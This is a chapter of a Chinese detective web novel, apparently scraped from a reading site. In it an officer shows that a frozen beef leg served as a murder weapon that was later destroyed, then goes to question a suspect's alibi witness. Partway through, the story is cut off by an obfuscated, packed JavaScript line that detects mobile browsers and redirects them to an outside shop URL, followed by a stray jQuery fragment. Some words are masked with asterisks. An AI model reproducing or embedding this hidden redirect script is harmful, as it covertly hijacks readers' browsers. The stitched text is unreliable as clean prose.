他捻起一点,是骨头渣。
看来,王雪梅是把啃完的牛骨头扔进了灶膛里,想当柴火烧掉。
这个发现,让他刚才的那个猜想,瞬间破灭了。
牛骨头根本不可能造成唐明卓后脑那种程度的粉碎性骨折,否则骨头本身也会碎裂。
现场肯定会留下骨头渣。
可现场勘查报告里,并没有提到发现任何骨头碎屑。
那这些牛骨头,到底是怎么回事?
江峋的目光在小小的厨房里来回扫视,试图找到新的线索。
灶台、橱柜、米缸……
最后,他的视线定格在了墙角那台嗡嗡作响的老式冰箱上。
一个念头,如同闪电,猛地划过他的脑海。
冰!
他快步走到冰箱前,一把拉开了上层的冷冻室门。
一股白色的寒气扑面而来。
冷冻室里塞得满满当当,冻鱼、冻肉,还有几只看不出是什么的禽类。
江峋伸手进去,拿出了一只冻得硬邦邦的鸭子。
那只鸭子,通体覆盖着白霜,拿在手里,沉甸甸的,坚硬无比。
他用指关节敲了敲,发出“梆梆”的闷响,跟敲石头没两样。
江峋的呼吸,在这一刻,变得有些急促。
他转过身,从墙上的刀架上,拿起一把厚背的菜刀。
他将冻鸭放在砧板上,深吸一口气,然后猛地挥刀砍了下去!
“当!”
一声清脆的金铁交击之声。
江峋只觉得虎口一麻,菜刀被高高弹起。
院子里,气氛凝固。
王雪梅的眼睛死死地盯着江峋手里的冻鸭,又看看那把崩了口的菜刀,脸色一点点变得惨白。
郑辉和王鹏也看傻了。
他们办案多年,什么稀奇古怪的凶器没见过,可拿冻鸭当锤子使的,这真是头一回。
“王鹏,去,院墙边上给我搬块砖头过来。”
江峋的声音很平静,打破了院子里的寂静。
“啊?哦,好!”
王鹏回过神,连忙跑到墙角,吭哧吭哧地搬来一块青砖。
江峋接过砖头,随手放在地上。
他掂了掂手里的冻鸭,那分量,那手感,跟一块铁疙瘩没什么区别。
他对着王雪梅,嘴角扯出一个冷冽的弧度。
“看好了。”
话音未落,他猛地抡起手臂,手里的冻鸭带着呼啸的风声,狠狠地砸向了地上的青砖!
“砰!”
一声沉闷的巨响。
青砖应声而裂,碎成了好几块。
而那只冻鸭,依旧坚硬如初,只是表面的白霜被震掉了一些。
王鹏的嘴巴张成了“O”型,半天合不拢。
郑辉也是倒吸一口凉气,眼神里全是震惊。
这玩意儿,真能当凶器!
还是用完就能销毁,不留任何痕迹的完美凶器!
江峋扔掉手里的冻鸭,拍了拍手上的灰。
他一步步走向王雪梅,每一步,都让王雪梅的身体抖得更厉害。
“现在,你还觉得我在开玩笑吗?”
江峋的语气很轻,但每个字都带着千钧的重量。
“我……我不知道你在说什么……”
王雪梅的声音在发颤,眼神躲闪,不敢与他对视。
“你当然知道。”
江峋停在她面前,居高临下地看着她。
“你杀唐明卓的,根本不是锤子,也不是院子里的那些牛骨头。”
“而是一条被你冻在冰箱里,冻得比石头还硬的牛腿!”
“牛腿?”郑辉脱口而出。
江峋点头。
“没错,就是牛腿。”
“你趁唐明卓不备,从背后用冻牛腿狠狠砸向他的后脑,一下。”
“就足以造成致命的粉碎性骨折。”
“而凶器本身,因为足够大,足够硬,根本不会碎裂,所以现场找不到任何骨头渣。”
“行凶之后呢?”
江峋的嘴角勾起。
“行凶之后,就更简单了。”
“你只需要把那条沾了血的牛腿,扔进水池里,等它慢慢解冻。”
“解冻之后,再把它剁成小块。”
“院子里养了那么多条狗,不是吗?”
“把带血的肉喂给狗吃,骨头上的肉也啃得干干净净。”
“最后,再把啃干净的牛骨头扔进灶膛里,一把火烧成灰,神不知,鬼不觉。”
江峋的声音不疾不徐,却将一个残忍而又周密的**计划,完整地呈现在众人面前。
“你……你胡说!你这是污蔑!”
王雪梅尖叫起来,她的脸色苍白如纸,身体摇晃着,全靠一股气硬撑着。
“我没有**!我那天下午根本不在家!我去田月兰家了!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631260|188008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“还在嘴硬?”
江峋冷笑。
“你的内心,已经慌得一批了吧?”
“你的表情,你的眼神,你的每一个细微的动作,都在告诉我,我猜对了。”
他上前一步,凑到王雪梅耳边,用只有两个人能听到的声音说。
“你以为你做得天衣无缝,可惜,你算漏了一点。”
“你太心急了。”
“你急着处理掉那些牛骨,却没把它们烧干净,还在灶膛里留下了骨头渣。”
“你更没想到,我会对你家的冰箱感兴趣。”
王雪梅的身体彻底僵住,瞳孔里充满了恐惧。
江峋直起身,不再看她。
他转向郑辉。
“郑哥,这里交给你了,看好她,别让她出什么幺蛾子。”
郑辉重重地点了点头,眼神锐利地盯着王雪梅。
“放心。”
江峋又看向王鹏。
“走,跟我去会会那个田月兰。”
“看看她的嘴,是不是也跟石头一样硬。”
……
田月兰家。
江峋和王鹏到的时候,田月兰正在院子里择菜,看上去一脸平静。
可当她看到穿着警服的江峋和王鹏时,手里的豆角“啪嗒”一下掉在了地上。
她脸上的血色,瞬间褪去。
“警官……你们怎么又来了?”
田月兰勉强挤出一个笑容,站起身,在围裙上擦了擦手。
江峋没有跟她废话,开门见山。
“田月兰,我们为什么来,你心里不清楚吗?”
田月兰的表情一僵,眼神有些慌乱。
“我……我不知道啊。”
“不知道?”
江峋往前走了一步,强大的气场瞬间压了过去。
“那我提醒提醒你。”
“为案件的关键当事人提供虚**言,妨碍司法公正,这叫什么?”
“叫伪证罪。”
“是要坐牢的。”
田月兰的腿一软,差点没站稳。
“警官,你这话是什么意思?我听不懂。”
她还在嘴硬。
“王雪梅案发当天下午,真的在你家绣鞋垫吗?”江峋的目光犀利,直刺她的内心。
“当……当然了!我们俩一下午都在一起,我还能骗你们不成?”
田月兰梗着脖子,声音却明显底气不足。